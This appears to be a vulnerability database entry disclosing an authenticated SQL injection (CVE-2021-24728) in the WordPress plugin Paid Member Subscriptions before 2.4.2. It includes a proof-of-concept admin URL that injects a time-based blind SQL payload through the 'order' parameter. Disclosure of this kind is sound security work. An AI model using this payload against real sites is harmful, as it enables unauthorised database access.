Lucene search
WpvulndbWPVDB-ID:2277D335-1C90-4FA8-B0BF-25873C039C38HistoryAug 06, 2021 - 12:00 a.m.
Paid Member Subscriptions < 2.4.2 - Authenticated SQL Injection
2021-08-0600:00:00
wpscan.com
13
sql injection
paid member subscriptions
authenticated
members
payments
wordpress
EPSS
0.002
Percentile
55.5%
The plugin did not sanitise, validate or escape its order and orderby parameters before using them in SQL statement, leading to Authenticated SQL Injections in the Members and Payments pages.
PoC
http://www.example.com/wp-admin/admin.php?page=pms-members-page&orderby;=user_id&order;=asc,(select * from (select(sleep(10)))a)
Related
nvd
nvd
CVE-2021-24728
2021-09-13 18:15:19
prion
prion
Sql injection
2021-09-13 18:15:00
cve
cve
CVE-2021-24728
2021-09-13 18:15:19
wpexploit
wpexploit
Paid Member Subscriptions < 2.4.2 - Authenticated SQL Injection
2021-08-06 00:00:00
cvelist
cvelist